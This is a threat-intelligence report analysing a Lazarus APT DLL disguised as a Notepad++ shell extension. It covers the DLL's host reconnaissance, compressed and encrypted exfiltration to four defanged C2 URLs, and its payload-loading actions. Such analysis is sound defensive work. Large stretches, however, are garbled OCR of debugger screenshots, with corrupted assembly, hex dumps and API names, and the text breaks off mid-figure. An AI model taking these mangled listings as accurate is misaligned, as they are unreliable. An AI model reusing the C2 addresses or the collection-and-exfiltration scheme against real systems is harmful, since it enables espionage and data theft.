A detailed analysis of Lazarus APT malware disguised as Notepad++ Shell Extension

Summary

Lazarus has targeted its victims using job opportunities documents for companies such as LockHeed Martin, BAE Systems, and Boeing. In this
case, the threat actor has targeted people that are looking for jobs at Boeing using a document called Boeing BDS MSE.docx

(https://twitter.com/ShadowChasing1/status/1455489336850325519). The malware extracts the hostname, username, network information, a
list of processes, and other information that will be exfiltrated to one out of the four C2 servers. The data targeted for exfiltration is
compressed, XOR-encrypted and then Base64-encoded before being transmitted to the C2 server. The Trojan implements four actions that
include downloading and executing a .exe or .dll file, loading a PE (Portable Executable) into the process memory, and executing shellcode.

Technical analysis
SHA256: 803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269

The file is a DLL that has 7 exports. Only one of these functions implements malicious activity (DlIGetFirstChild):

IDA View-A [ (O] Hex View-1 (x| Structures [ [E] Enume (x| Imports [ @ Exports [
MName Address Ordinal
DliCanUnloadMow 69009530 1
DliGetClassObject 69DDI540 2
DllGetFirstChild 69DDBE30 3
Dilinstall £0DDASFD 4
DlIRegisterServer 69DD95B0 5
DllUnregisterServer £9DD95D0 6
DlIEntryPoint G9DDBFET [main entry]
Figure 1

The malware retrieves the User Agent by calling the ObtainUserAgentString function. There is also a User Agent that is hardcoded in the binary
“Morzilla / 5.0 (Windows NT 10.0; WOW64; Trident / 7.0; rv:11.0) li”, which is Internet Explorer on Windows 10:

50 push eax XB7SW_B O xB7SW.C3 O XB7SW.CZ O

80 BS FC FB FF FF lea eax,dword ptr ss:lfebp-sosj XB7SW.C1l 0 XxB7SW.CO 0O XB7SW_ES O

50 push eax XB7SW_SF O xB87SW_P 1 Xx87SW U O

A Ba puEh B ]

FF 15 €O F2 DE 63 | €411 dword ptr ds:[<sobrainuseragentstrings] v| —

S e | Deft stccal) =[5 5|00 unlad

T e d esp] 00000000
ﬁvord_pm:r_[mﬂztn <lazarus.4&0btainUseragentString>]=<urImon.0btainUserAgentstring> esp+4] DOCFF76C "Mozilla / 5.0 (windows |

esn+31 OOCFF768
esp+C] OOCFFBAD

«text:690016A1 Tazarus.dll:$16A1 #AAL

#eDumpl @Y Dump2 Y Dump3 @S Dump4 B Dump S @ watch1  Iv=lLocals & stct OOCFF7SE| DOCFF76C |W‘I'l'|l / 5.0 (Windows NT 10.0; WOWGE4;
IAKII ~ || 0ocFF75C| DOCEET 68

6 6C 61 20|2F 20 35 .Moz111a / 5. B Dh AR
77 73 20 45|34 20 31 30| 0 (Windoms NT 10 nonInoo
34 38 20 5-‘ 72 69 64 65| .0; WOWe4; Tride

3A 31 31 26(nNT / 7.0 rvill.
47 65 63 68|6F 00 00 00|0) like GQCAD

6F TA

6E 64 GF
7 4F 57 36
37 2E 30
68 65 20

697AEF 4D
20616CEC

ee774l3eacanse

Figure 2

The binary extracts the current system date and time using the GetSystemTimeAsFileTime API:

s30E2602 | 50 ush eax 3 A ==
m—»- FF 15 98 F1 DE 69 | all dword ptr dsi[<acersystenTimedssileTimes] v
e PRSI 5 |Defoutt (sdcal) = DLHW
word ptr [G9DEF198 <1aZarlUs.&GeTSySTemTimeAsFileTimes]—<kernel32.GetsystanTimeAsrileTimes “': [ggl.,""f,gmm
3 eswai 00000000
.TexT:69DE2ED3 lazarus.d11:$126D3 #114D3 St LeSDit BOCFERSE
= = I —— & | oo FFaso BT

Figure 3

GetModuleHandleW is utilized to retrieve a module handle for ntdll.dll:

68 FO 53 DF €3 push lazariis.6 | = -
FF 15 BO FO DE 69 call dword per o [metnodu'lenanaiw] | v =
EEE 5 |Defout Gstdcal) ~|[s 2100 urioai
i [esp] 69DF53F0 L"ntdl1.d11"

e 59—?4] CD424448

PEr [6SDEFOB0 <lazarus.&GetModuleHand]ews | =<kernels2, GetModu] enand | ens

00000000
00000000

L TeXT:690D37AE Tazarus.d11:$37AE #2BAE

|
T e T R DI B eoFssr0 | Lontdil e
Figure 4

[T e e e e

The process gets the address of the following export functions using the GetProcAddress routine: “RtlGetCompressionWorkSpaceSize”,
“RtlCompressBuffer”, “RtlDecompressBuffer”, “RtlGetVersion”. An example of a function call is shown in figure 5:
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ws: 'IEZSFULEBDFSIDI XB7TSW_SF O XB7SW_P 1 X87SW_U
push_ebx S —

;i esp+41 "630F5404 °Rt1GetCompressionworksp:

esp+8] CD424348
5| 00000000
- TEXTI690D37CE Tazarus.d11:537C6 #28C6 s

WWoump1 | UMDump2  WMDump3  UWDump4  UWDumpS BB watchi  Irellocals 4 Stuct

Figure 5

The NetBIOS name of the local computer is extracted via a function call to GetComputerNameW:

DOCFFBG4
DOCFI

FBA
TEATS0B0 <kernel32.GetProcAddress:
- Text: 69003096 Tazarus.d11:53096 #3196

‘ﬂml @oump2  WHoump3  UWoump4  oumps  @wahi  pellock st

Figure 6

The GetAdaptersInfo API is used to retrieve adapter information for the local machine:

XBTSW_SF O XBTSW P 1 XxB7SW_U
I““:_
=1 =]

0OCFFEES
00C

FFBA
76AT50B0 <kernel32.GetProcAddress>
Tazarus.d11:$3DA1 #31A1

‘ﬂmml @oumpz  Hoump3  @Woump4 | WHoumps @ warhi  bellock st

Figure 7

The MAC address extracted above is written to a buffer:

03134520
03134530

Figure 8

The file extracts the command-line string for the current process:

~text: 69007434 Tazarus.d11:57434 #6334

[P [ SRSS PSG SG S R - [/

Figure 9

CommandLineToArgvW is utilized to extract an array of pointers to the command-line arguments, along with a count of arguments (similar to

argv and arge):

OOCFFBS4
cDa24448
00000000

- TEXT: 69007447 lazarus.d11:57447 #6847

Woump1 | @lDump2  WMDump3  UMDump4  Woumps BB watchi

Figure 10

According to an article published at https[:]//zhuanlan.zhihu.com/p/453894016, the malware is supposed to run with the following
parameters:

“NTPR

P6k+pROIIKwIpU60R6ZilgKPL7IxsitJAnpIYSx2KIASSRFFyUIZTBVFAwgzBkI2PS/+EgASBik/GgYBWBbRNy7pP+Xq4uTsxOXU6NPmudaEz7Xys5

The binary decrypts the above parameter using a custom algorithm displayed in figure 11. The list of resulting strings contains multiple C2

Servers:

2/16



Yy

FIZE

.text:690D3938
Jtext:6900398@ loc_69DD398@:

.text:69D03988 mov cl, [edx+edi]
.text:69DD3983 mov al, dl
Ltext:s9DD3985 xor cl, BE%h
.text:690D3988 add al, al
.text:69DD398A sub cl, al
.text:69D00398C lea eax, [edx+74h]
Ltext:69DD398F add cl, 38k 5 5"
.text:690D3992 xor cl, al
.text:69DD03994 mov [edx+edi], €l
.text:69D03997 inc edx
.text:69DD03998 cmp edx, esi
. text:6IDD3I9A b short loc_690D398@
11
Figure 11
Address | Hex ASCII
03136308 [l68] 00 74 00|74 00 70 00|73 00 3A 0O0(2F 00 2F OO(M.t.t.p.s.:././.
03136318(6D 00 61 00(6E 00 74 00|65 00 2E 00(6C 00 69 OO0(m.a.n.t.e...1l.1.
03136328(2F 00 62 006D 00 61 Q0|67 OO0 &5 00|73 00 2F 00|/.i.m.a.g.e.s.,.
03136338 |64 00 72 00|61 00 77 O0|2E 00 70 00|68 00 70 O0|d.r.a.w. p-h.p.
03136348 |38 00 3B 00(68 00 74 00|74 00 70 OO(|73 00 3A 00|;.;.h.t.t.p.s.:.
03136358 |2F 00 2F 00|62 00 6D 00|61 00 6E 00|61 00 6C 00| /./.b.m.a.n.a.l.
03136368 |2E 00 63 O0|6F 00 6D O0|2F 00 69 O0|6D 00 61 OO0|..c.o0.m./.i.m.a.
03136378 |67 00 65 00|73 00 2F 00|64 00 72 00|61 OO0 77 00|g.e.s./.d.r.a.w.
03136388 (2E 00 70 00|68 00 70 0O0(3B 00 3B 00|68 00 74 00|..p.h.p.;.;.h.t.
03126398(74 00 70 00|73 00 3A OO(2F 00 2F 00|73 00 &8 OO(|T.p.5.:././.5.h.
031363A8(6F 00 70 00|61 00 GE 00|64 00 74 00|72 00 61 0O0|0O.p.a.n.d.t.r.a.
031363B8(76 00 65 00(6C 00 75 00|73 00 61 0OO(2E 00 63 00 |v.e.l.u.5.4...C.
031363C8(6F 00 6D 00(2F 00 76 00|65 00 6E 00|64 00 &6F 00|O.m./.v.e.n.d.o.
031363D8 (72 00 2F 006D 00 &F 00(6E 00 6F 00(6C 00 &F 0O(r.,/.m.0.n.o.1.0.
031363E8(67 00 2F 00|60 00 &F 0Q0(GE 00 &F 00(6C 00 &F 00|g.,/.m.0.n.o.1.0.
031363F8 |67 00 2F 00|73 00 72 00|63 00 2F 004D 00 6F 00|g./.s.r.c./.M.o.
03136408 | 6E 00 6F 00(6C 00 &F 00|67 00 2F 00|60 00 6F 00|n.o.l.0.g./.m.o.
03136418 |6E 00 6F 0O0|6C 00 6F 00|67 00 2E 00|70 00 68 00|n.o.l.0.g...p.h.
03136428|70 00 3B O0|3B 00 68 00|74 00 74 00|70 00 73 00|p.;.;.h.t.t.p.s.
Figure 12
The following URLSs have been decrypted:
https[:]//mante.li/images/draw.php
https[:]//bmanal.com/images/draw.php
https[:]//shopandtravelusa.com/vendor/monolog/monolog/src/Monolog/monolog.php
https[:]//industryinfostructure.com/templates/worldgroup/view.php
The GetNetworkParams routine is used to retrieve network parameters for the local computer:
50 ‘push eax XB87SW_SF 0O XxB7SW_P 1 XB7SW_U o
H }&% eﬁnrcI1 ‘d ptr ds: [<&GetNetworkParams>] w [ ——
FE 15 : Default (stdcall) Jniod
FE 15 6 FO DE 69 call dword p h 5 TEED
2: [esprd4] DOCFF20C

3: [esp+s] €D4245AC
a: [es OOCFFEAD
. TeXt1690D431A lazarus.d11:5431A #371A I . ————————

| ¥boum 1 | gowpz @owes  WHoums | BEowps @ wachi | il | s e

Figure 13

T [ﬂﬂ] 03136380

The malicious process extracts the name of the DNS domain assigned to the local host (0x2 = ComputerNameDnsDomain):

push ecx X87SW_C1 O XxB7SW_CO O xB87SW_ES O
push eax XB7SW_SF O XB7SW_P 1 x87sW_U O
|Eaii o
v
s-e el 5 :rfm{sm + [s 15107 unloct
i lﬂp 00000002
edi=<kernel32.GetComputerNamekxw> (76A74BFO0) 1'2: [espra] 03146000
|3: [esp-a% DOCFF210
.Text:6900D4200 lazarus.d11:$4200 #3600 h—_[—"' e e ——
Woumpi  @Hoump2  @Hoump3  @Moumpd  @Woumps M watch1  bellocals 4P Stuct H‘WFH“ rppit
e Tasrrr T .| oocFF18a| 00CFF210

Figure 14

The following network information is written to a temporary buffer:
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Address | Hex

03139098 | @D, 00 DA 00|57 00 69 0OO|GE 00 64 DO|6F
03139DA8|73 00 20 00|43 00 50 00|20 00 43 00|6F
03139DB8| 66 00 69 00|67 00 75 00|72 00 61 00|74
03139DC8|6F 00 6E 0OO|0OD 0O DA 00|OD 00 OA 00|09
02139DD8|6F 00 73 00|74 00 20 00|4E 00 61 00|6D
03139DES|20 00 2E 00|20 00 2E 00|20 00 2E 00|20
03139DF8|20 00 2E 00|20 00 2E 00|20 00 2E 00|20
03139E08|20 00 2E 00|20 00 3A 00|20 00 44 00|45
03139E18| 4B 00 54 00|4F 00 50 00|2D 00
o3139e2: I 00 (00 00 0A 00|09
03139E38|72 00 69 00|6D 00 61 00|72 00 79 00|20
03139E48|6E 00 73 00|20 00 53 00|75 00 66 DO|66
03139E58|78 00 20 00|20 00 2E 00|20 00 2E 00|20
03139E68|20 00 2E 00|20 00 3A 00|00 00 OA 00|09
03139E78|4E 00 53 00|20 00 53 00|65 00 72 00|76
03139E88|72 00 73 00|20 00 2E 00|20 00 2E 00|20
03139698 |20 00 2E 00|20 00 2E 00|20 00 2E 00|20
03139EAS|20 00 2E 00|20 00 3A 00|20 00 31 00|39
03139EB8|2E 00 31 00|36 00 38 00|2E 00 31 00|36
03139ECS|2E 00 31 00|32 00 38 00|0D 00 0A 00|09
03139EDS|6F 00 64 00|65 00 20 00|54 00 79 00|70
03139EES|20 00 2E 00|20 00 2E 00|20 00 2E 00|20
03139EF8|20 00 2E 00|20 00 2E 00|20 00 2E 00|20
03139F08|20 00 2E 00|20 00 3A 00|20 00 48 00|79
03139F18|72 00 69 00|64 00 OD 0O|0DA 00 09 0O|4E
03139F28|74 00 42 00|49 00 4F 00|53 00 20 00|53
03139F38|6F 00 70 00|65 00 20 00|49 00 44 00|2E
03139F48|2E 00 20 OO|2E 00 20 0O0|2E 00 20 0O|2E
02139F58|2E 00 20 00|3A 00 20 00|0D 00 OA 00|09
03139F68|50 00 20 00|52 00 6F 00|75 00 74 00|69
03139F78|67 00 20 00|45 00 6E 00|61 00 62 00|6C
03139F88| 64 00 2E 00|20 00 2E 00|20 00 2E 00|20
03139F98|20 00 2E 00|20 00 3A 00|20 00 6E 0O|6F
03139FAS|0A 00 09 00|57 00 49 00|4E 00 53 00|20
03139FBS&|72 00 6F 00|78 00 79 00|20 00 45 0O|6E
03139FC8| 62 00 6C 00|65 00 64 DO|2E 00 20 0O|2E
03139FD8|2E 00 20 00|2E 00 20 0DO|2E 00 20 00|3A
03139FES|6E 00 6F OO|0D 00 DA 00|09 00 4E 00|65
03139FF8| 42 00 49 0O0|4F 00 53 00|20 00 52 00|65
0313A008|6F 00 6C 00|75 00 74 00|69 00 6F DO|6E
0313A018|55 00 73 00|65 00 73 00|20 00 44 00|4E
0313A028|20 00 3A 00|20 00 6E 00|6F 00 0D 00|0DA

Figure 15

s £ b =
«:1.6.8...1.6.4.
«el.2.8... .
o.d.e. .T.y.p.e.

[=Nl= T RN = B

T

Eama

Address | Hex

03149522 0D 00 0A 00 (0D 00 OA 00|45 00 74 00|68
03149532 |72 00 6E 00(65 00 74 00|20 00 61 00|64
03149542 |70 00 74 00|65 00 72 00|20 00 7B 00|36
03149552 |32 00 44 00(32 00 38 00|39 00 45 002D
03149562 |32 00 31 00(44 00 2D 00|34 00 33 00|38
03149572 |2D 00 38 00|37 00 42 00|30 00 2D 00|39
03149582 |20 00 42 00(35 00 45 00|34 00 44 00|32
03149592 | 24 00 37 0O0(7D 00 3A 00|0D OO OA OO |OD
031495A2 |09 00 44 00|65 00 73 00|62 00D 72 00|69
031495B2 |74 00 69 00(6F 00 &E 00|20 DO 2E 00|20
031495C2| 20 00 2E 00(20 00 2E 00|20 OO0 2ZE OO(20
031495D2 | 20 00 2E 00|20 00 2E 00|20 00 3A 00|20
031495E2 |6E 00 74 00(65 00 6C 00|28 00 52 00|29
031495F2 |38 00 32 00(35 00 37 00|34 00 4C 00|20
03149602 |69 00 67 00|61 00 &2 00|69 00 74 00|20
03149612 |65 00 74 00|77 00 &6F 00|72 00 6B 0O|20
03149622 |6F 00 6E O0(6E 00 65 00|63 00 74 00|69
03149632 |6E 00 0D 00 (DA 00 09 00|50 00 &8 00|79
03149642 |69 00 63 00(61 00 &C 00|20 00 41 00|64
03149652 |72 00 65 00(73 00 73 O0|2E 00 20 OO|2E
03149662 | 2E 00 20 00(2E 00 20 0DO|2E 00 20 OO|2E
03149672 | 2A 00 20 00(30 00 30 00|2D 00 30 00|43
03149682 |22 00 39 00 (2D 00 32 00|35 00 2D 00|36
03149692 | 2D 00 31 00(35 00 0D OO|0A OO 09 00|44
031496A2 | 43 00 50 00 (20 00 45 00|6E 00 61 00|62
03149682 |65 00 64 00(2ZE 00 20 00|2E 00 20 00|2E
031496C2 | 2E 00 20 00 (2E 00 20 00|2E 00 20 OO0|2E
031496D2 | 2E 00 20 00(3A 00 20 00|6E 00 &F OO0 |OD
031496E2 |09 00 49 00(50 00 20 00|41 00 64 00|64
031496F2 |65 00 73 00(73 00 2E 00|20 00 2E 00|20
03149702 |20 00 2E 00(20 00 2E 00|20 OO0 2E 00|20
03149712 |20 00 2E 00(20 00 2E 00|20 00 3A 00|20
03149722 |29 00 32 0O0(2E 00 31 00|36 00 38 OOD|2E
03149732 |26 00 34 00(2E 00 31 00|32 00 38 00|0D
03149742 |09 00 53 00(75 00 &2 DO|GE OO0 &5 00|74
03149752 | 4D 00 61 00(73 00 6B 00|20 OO ZE OO(20
03149762 |20 00 2E 00(20 00 2E 00|20 OO0 Z2E OO(20
03149772 |20 00 2E 00(20 00 2E 00|20 00 3A 00|20
03149782 |35 00 35 O0(2E 00 32 00|35 00 35 00|2E
03149792 |35 00 35 O0(2E 00 30 00|0D 00 OA 00|09
031497A2 |65 00 66 00(61 00 75 00|6C OO0 74 00|20
031497B2 |61 00 74 00(65 00 77 00|61 00 79 00|20
031497C2 |20 00 2E 00(20 00 2E 00|20 00 2E 00|20
031497D2 | 20 00 2E 00(20 00 3A 00|20 00 31 00|39
031497E2 | 2E 00 31 00 (36 00 38 00|2E 00 31 00|36
031497F2 | 2E 00 32 00(35 00 324 00|0D 00 OA 0OOD|0D9
03149802 | 48 00 43 00(50 00 20 00|53 00 &5 00|72
03149812 |65 00 72 00(20 00 2E 00|20 OO0 2ZE OO(20
03149822 | 20 00 2E 00(20 00 2E 00|20 OO0 2E 00|20
03149832 | 20 00 2ZE 00 (20 00 3A 00|20 00 OD OO|DA
03142842 |50 00 72 00(69 00 6D 00|61 00 72 00|72
03149852 |57 00 49 O0(4E 00 53 00|20 00 53 00|65
03149862 |76 00 65 00(72 00 20 00|2E 00 20 OO0(2E
03149872 | 2E 00 20 00(2E 00 20 00|3A 00 20 OO0|OD
03149882 |09 00 53 00|65 00 &3 O0|6GF 00 6E 00|64
03149892 |72 00 79 00(20 00 57 00|49 00 4E 00|53
031498A2 |53 00 &5 00(72 00 76 00|6G5 00 72 00|20
03149882 |20 00 2E 00(20 00 2E 00|20 OO0 3A 00|20
031498C2 | 0A 00 00 OO0(00 0O 00 OO|00 OO OO OO|00

Figure 16
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The process gets the username associated with the current thread by calling the GetUserNameW function:

50 push eax
push ebx
€all dword ptr ds:[<aGetuserNamew=]

«1ext:690D6BLF lazarus.d11:$6B1F #5F1F

Woump1  @oump2  WHoump3  @Woumpd  @oumps @ warh1  ixellocal | P struet

Figure 17

DOCFFA4a
QOCFFBAD
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The binary takes a snapshot of all processes in the system using the CreateToolhelp32Snapshot API (ox2 = TH32CS_SNAPPROCESS):

push edi XBTSW_C1 O X87SW.CO O X87SW_ES O
mov dword ptr ss:ffebp- 4, edi XB7SW_SF O x87SW_P 1 x87SW_U 0

a::he? Jsdword ptr ds: [a:rut:‘rm‘lhe‘lp!zsnnpslub] XE7TSW_0 0 X87SW_Z 0 XB7SW_D o

00000000
CD4245A8
DOCFFBAD

.Text:6I0DEODE 1azarus.d11:SE0D6 #61D6
Woump1  @hoump2  WMoump3  WWoumpd  @Woumps @ watch1  beellocals 4 Stuct

Figure 18

The file extracts information about the first process from the snapshot via a call to Process32FirstW:

&Process stifslwA

>

DOCFFE30
CD4245A8
- text: 630D6DFI Tazarus.d11:$6DF9 #61F9 EEERE

Woumpi  oump2  EWDump3  BMDump4  WMDumps @ watch1  Ie-llocals 5 Stuct

Figure 19

The malicious binary opens the process object using the OpenProcess routine (0x410 = PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ):

¥87r5 00000000000000000000 STS Empty 0.00000
X87r6 3IFFFS000000000000000 ST6 EMPTY 1.00000
¥87r7 3IFFFEDB7OCI7SDF22363 S5T7 Empty 1.10714

push eax

X87TagwWord FFFF

X87TW_0 3 (Empty) x87TW_1 3 (Empty)
XB7TW_2 3 (Empty) N87TW_3 3 (Empty)
XB7TW_4 3 (Empty) xB7TW_S 3 (Empty)
XB7TW_6 3 (Empty) XEFTW_7 3 (Empty)

xg75tatusword 0020

XB7SW_B 0O xB7SW.C3
X87SW_C1 O XB7SW_CO
XB7SW_SF O xB7SW_P
X87SW_O O xB7SW_Z

X87SW_C2Z
XB7SW_ES
X87SW_U

o
o
1
o

3888888888888

+Text:630D713F lazarus.d11:35713F #653F

Woump1  @oump2  WMoump3  Wloumps

ABC|S0 00 72 00|6F 00 63 0D0[85 00

Figure 20

Whether the file doesn’t have enough rights to open a process, it copies “Unknown” along with the process name to a temporary buffer.

The binary takes a snapshot of the current process along with all its modules using the CreateToolhelp32Snapshot API (0x8 =
TH32CS_SNAPMODULE):

FF B5 B4 FO FF FF push dword ptr ss:ffebp- "Il XB7SW_SF O XB7SwW_P
89 85 8C FO FF FF hduur ptr ss:febp-F7 4, eax
08 sh 5

X87SW_0 0 XB7SW_Z

~text:690D6E71 lazarus.d11:$6E71 w6271

Woump1 | @oump2  §MDump3  @HDumes  @oumps @ wawhi  elleess st

Figure 21

Module32FirstW is utilized to retrieve information about the first module associated with the current process:

A X87SW_0 0 XB7SW_Z
[ <aModu] e32Firs m——

esp+4] OOCFF l!
esp+8] CD4245A8
esprC] OOCFFBAOD

- TEXT:EI0DGEAT lazarus.d11:56EAT #62A7

‘“D.lnp‘l Poump2z  UWoump3  @Moumps  EMoumps B watch1  [x-lLocals & struct

Figure 22

The malicious DLL gets information about the next process recorded in the snapshot:

O0CFFE30
CD424548
DOCFFBAD

~texti: 690D6F2ZA Tazarus.d11:$6F2A #6324

Woump1 | @oump2  UMDump3  UHoumps  Uoumps @ waxhi  bellocls  # stuc

Figure 23

The OpenProcessToken routine is used to open the access token associated with a process (0x8 = TOKEN__QUERY):
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. % E ) XB7SW_SF 0 xB7TSW_P 1 X87SW_ U
8 XB7TSW_O O XBTSW_Z 0 X87TSWD

Bt

.TEXT:690DT1SA lazarus.dll:$715A #ES5A 0313C584

Woumpt  WHoump2  @MDump3  WDump4  WMOumps M watcht  Ixellocals i Stct

Figure 24

GetTokenInformation is utilized to extract the user account of the token (ox1 = TokenUser):

Wpump2 WMDump3  WDump4 UWoumps @ watch1  Ie-llocals 4 Stuct

Figure 25

The process retrieves the name of the account for a SID and the name of the first domain on which the SID is found via a function call to
LookupAccountSidW:

- Awr i s LLmwys A im_s s Lemeiy
g:a eax,dword ptr ss:[febp-30f XB7TW_6 3 (Empty) x87TW_7 3 (Empty)
push eax

xB7Sratusword 0020

ch edi
ea eax,dword ptr ss:lebp-340 MB7SW_B O NBYSW C3 0 xB87SW_C2 O
push eax XB7TSW_C1 O xB7SW.CO O Xx87SW_ES 0
push ebx XB7SW_SF O XB7SW_P 1 XS7SW.U 0
w:: gﬂfﬂ prr ds:[esi] XB7SW_0 O XxB7SW.Z 0 x87SWD O

~ [5 E]0] uniod

03149440
D3149FD8
OOCFEALD

.Text: 69007291 lazarus.d11:§7291 weE91
Woumpl | Poump2 UWDump3  YWDump4 P Dumps

03149FD8
03149FEB

Figure 26

GetTokenInformation is utilized to extract the Terminal Services session identifier associated with the token (0xC = TokenSessionId):

XE/STATUSNOrD UUZU

ush 4 ®87SW_B 0 x87SW_C3 0 x87SWC2 O
ea eax,dword ptr ss:fenp-z24) XB7SW_C1 O XB87SW.CO O XB7SW_ES 0O
push eax X87SW_SF 0 x875W_P 1 x87SwW._U O
push C ; XB7SW_ O 0 X87SW_Z o o

-TeXT: 69007315 lazarus.d11:37315 #6715

@Woumpi  Woump2 E¥pump3 Woumps @ watch 1

Figure 27

The RtlGetCompressionWorkSpaceSize API is used to determine the correct size of the WorkSpace buffer for the RtlICompressBuffer function
(0x102 = COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM):

RO/ IM_D 3 LEMMpLY)  AOs Im_s 3 \EmpLy)

¥ush eax - —
ea eax,dwor r_ss:jgebp-
mov dword ptr g::lenpq 0

70 FF FF FF

45 EC 00 00 00 00 x875ratusword 0020

push eax B7SW_B O XB7SW C3 D X87SW C2 O

66 mov eax,dword ptr ds:[edi+66] XB7SW_C1 O xB7SW CO O xB7SW ES O
01 00 00 push 102 X87SW_SF O XB7SW P 1 X87SW_U 0O
0 x875W_ D o

70 FF FF FF 00 00 00/mov dword pT 9 XB7SW_O O XB7SW.Z
00 00 00 00 mow_dword pt :

«TEXT:I6I0D7640 Tazarus.d11:57640 #6A4D
@oump3  oumps  @houmps @ watchy

Lol Locals 3 Struct

Figure 28

The process compresses the buffers from figures 15 and 16 using the RtliCompressBuffer function (0x102 =
COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM):
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T T R R
X87TW_4 3 (Empty) X87TW_S 3 (Empty)
X87TW_E 3 (Empty) x&7TW_7 3 (Empty)

®| 690D76A3 push esi
Tea eax,dword ptr ss:ffebp-1a]
push eax
mov eax,dword ptr ds:[edi+ga]

xB7Statusword 0020

0 00 00 push 1000
FF FF FF push dword ptr s5:Jebp-D! XB7SW_B O XB7SW.C3 0 x87SWLC2 O
EC push dword ptr ss:febp-1. XB7SW_C1 O xB7SW.CO 0 x87SW_ES O
FF FF FF push dword ptr ss:febp-C MB87SW_SF 0 XB7SW.P 1 x87SW.U O
40 FF FF FF push dword ptr ss:fiebp-C XB7SW_ O O xB7SWZ 0 x875WD O

push 102

»vmm ~ [5_[3]0] unlods

2: [esp+d] 03176250
3: [esp+8] 0002991E
.text:690D76CA lazarus.d11:$76CA #EACA 4: [espiC] D319FBSE

WWoumpl | @Dump2z  $MDump3  @Dump4  @Moumes M waxhi  pellocals 7 st

03176250
03176260

6E 00 o0 77 00
20 00 00 6E 00

00 &3 00
03176280 00 48 00
e nn

n317reaan

oD 00

ac nn

00
73 oo
D3176270| 66 00|72 00
6&6F 00
e e

Figure 29

The DLL randomly chooses a C2 server from the list of four. It initializes the application’s use of the WinINet functions via a call to
InternetOpenW:

-TeXT:630D77BE lazarus.d11:$7788 #6888

@Woumpt  Wpump2 Whoump3s Woump4  @oumps @ watchi

Figure 30

Push 3E000000
mov dword ptr ss:ebp-3Cl,eax
‘leaheax.wuﬂi ptr ss:lebp-10§

eax

AT a gLELFy A im_a e ey
NB7TW_4 3 (Empty) x87TW_5 3 (Empty)
XB7TW_6 3 (Empry) X8TTW_7 3 (Empty)
xB7Statusword 0020

XB7SW_B O xBTSW.C3 O x87SW.C2 O
XB7SW_CL O xB7SW CO O x87SW ES O
XB7SW_SF O xB7SW_P 1 xB7SW.U 0
XB7SW.O O XB7SW.Z O Xxa7sWwp o0

031CETT0
esp+8] OOCFFA7O

esp+C] 3E000000

Figure 31

The malware cracks the URL into its component parts by calling the InternetCrackUrlW API:

Figure 32

The connect, send and receive timeouts are set to 150s using the InternetSetOptionW routine (0x2 =
INTERNET_OPTION_CONNECT_TIMEOUT, ox5 = INTERNET_OPTION_SEND_TIMEOUT, 0x6 =
INTERNET_OPTION_RECEIVE_TIMEOUT):

.TeXT: 69001929 lazarus.d11:31929 D29

@oump2  @WDump3  EUDump 4

Figure 33
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6A 04 push 4 XE/STATUSWOrD UUZU

8D 35 F8 lea eax,dword pur ss:ffebp-s§ XBTSW_E 0 XB7SW_.C3 0 xB7SW.C2 ©
C7 45 F8 FO 49 02 00 mov dword ptr ss:[ebp-s,245F0 X87SW_C1 O XB7SW_CO 0 X87SW_ES 0
0 push eax XBTSW_SF O XxB7SW_P 1 X87SW._U O
6A 05 X87SW_ O 0 XB75WZ 0 X87SWD 0

36

lazarus.d11:5193C #D3C

. Text:630D193C

@Woup1  ghoumpz  Whoup3s  Ghoumps  @oumps @ wawhi  bellocals | st

OOCFFA?S 49 02 00|50 45 42 CD|98 FB CF 00(6E 78 DD 69 - .PEBI.UL. kxYi

Figure 34
A 04 sh 4 N8/ STATUSWOra UUZU
8D 45 F8 ea eax,dword ptr_ss:lfebp-sl XB7SW_B O XB7SW.C3 0 X87SW.C2 O
C7 45 F8 FO 45 02 00 mov dword ptr ss:febp-8J,245F0 X87SW_C1 O xB7SW_CO O x87SW_ES O
iu‘ . Pu!: anx N87SW_SF O XB7SW_P 1 0
pus| 87SW_0 O xB7 0 o
FF 36 push dworc b et

+1exti690D194F lazarus.d11:5194F #D4F

Wowmp1 | @Moump2  WWoump3  Woumps  Woumps @ warch i

Pellocsls ' Struct

Figure 35

The DLL opens an HTTP session to the C2 server on port 443 (0x3 = INTERNET_SERVICE_HTTP):

ASIIM_D 3 \SHAY]  ASs ML 3 LEmpLY)

6A
6A push 0
6A

push 3 xX87Statusword 0020
FF push dword ptr ds:iﬂivzc XBTSW B O xB7SW.C3 0 x87swW(C2 0O
251428 X87SW_C1 0 X87SW_CO O XB7SW_ES O
50 XBTSW_SF O xB87S5W_P 1 x87SW_U O
FF e XB7TSW_O 0O x87SwW_Z 0 x87SW_D a

.
H

:

i

1 FF push dword ptr ds:
H h eax

i

FF ) sh_dwor ds [esi] Bl

03134520 L“mante. 11"
188

‘00000
.text: 69001970 lazarus.d11:$1970 #D70 ] 0312C140

@oump1  @houmpz  WHoump3  @oumpe  @houmps @ wathi  Iellocals 4P Struct

Figure 36

The binary creates a POST request handle to the URI extracted from the specified URL:

pusho X87Tw2 3 (Empty)  x87TW 3
mov ecx, X87TW_4 3 (Empty) X8TTW_S
X87TW_6 3 (Empty)  XBTTW_?

x875tatusword 0020

XB7SW_B 0 XBTSW.C3
push dword ptr ds:[esi+20] X875W._C1l 0 x875wW._CO
mov dword ptr ss:febp-cl,ecx XB7SW_SF 0 x87SW_P
push lazarus.63DF51DC XB7SW_0 O xB7SW_Z

<&HTTpOperR equestis

push eax

690F51DC L"POST"
031385C0 L"/images/draw.php"
]_00000000

.TEXT:690D19A3 lazarus.d11:519A3 #DA3
Woumet | @oump2  @Moump3  @oumps  @oumps @ wathi  bellocs ) struct

0 49 02 00|50 45 42 CD
'ABB| 48 44 42 CD(00 OO0 00 00|00
B

Figure 37

The security flags for the handle are set using the InternetSetOptionW API (ox1F = INTERNET_OPTION_SECURITY_FLAGS, oxF180 =
SECURITY_FLAG_IGNORE_REVOCATION | SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTP | SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTPS):

6A 04 push 4 NG/ STATUSWOra Uuzu

8D 40 F4 Tea ecx,dword ptr s=:febp-cl 0 xB7SW.CZ O
45 F4 80 F1 00 00 mov dword ptr ss:febp-Cf,F150 0 x87SW_ES 0
